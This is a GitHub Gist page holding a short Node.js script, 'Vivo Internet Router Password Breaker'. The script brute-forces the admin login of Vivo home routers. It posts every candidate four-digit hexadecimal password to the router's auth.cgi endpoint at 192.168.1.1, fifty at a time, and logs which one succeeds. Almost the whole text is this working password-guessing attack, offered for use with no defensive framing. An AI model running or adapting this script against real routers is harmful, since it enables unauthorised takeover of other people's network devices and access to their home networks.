Created
December 16, 2014 22:44
-
-
Save ivanseidel/cc8cced3252aff18c7cc to your computer and use it in GitHub Desktop.
Vivo Internet Router Password Breaker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Vivo Routers use as default, a 4 digit Hexadecimal password (like 'A8DB', '123F'...) | |
This is a simple script to try lots of them, and find out the right one. | |
Developed by ivanseidel, github.com/ivanseidel | |
*/ | |
var request = require('request'); | |
var async = require('async'); | |
var ip = '192.168.1.1'; | |
var url = 'http://192.168.1.1/cgi-bin/auth.cgi'; | |
var headers = {}; | |
function testKey(val, next){ | |
console.log('Testing '+val); | |
request.post({ | |
url: url, | |
headers: headers, | |
json: {"username":"admin","password":val,"action":"login"} | |
}, function (err, resp, body) { | |
// console.log(err); | |
// console.log(resp); | |
console.log(val, body.RETURN && body.RETURN.success, body); | |
next(body.RETURN && (body.RETURN.success == 'true' || !!body.RETURN.success)); | |
}); | |
} | |
var chars = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']; | |
var keys = []; | |
// Try all requests | |
for(var a = 6; a < 16; a ++) | |
for(var b = (a == 6 ? 6 : 0); b < 16; b ++) | |
for(var c = (a == 6 ? 6 : 0); c < 16; c ++) | |
for(var d = (a == 6 ? 0 : 0); d < 16; d ++) | |
keys.push(chars[a]+chars[b]+chars[c]+chars[d]); | |
console.log('exec.'); | |
async.eachLimit(keys, 50, testKey, console.log); | |
console.log('exec...'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment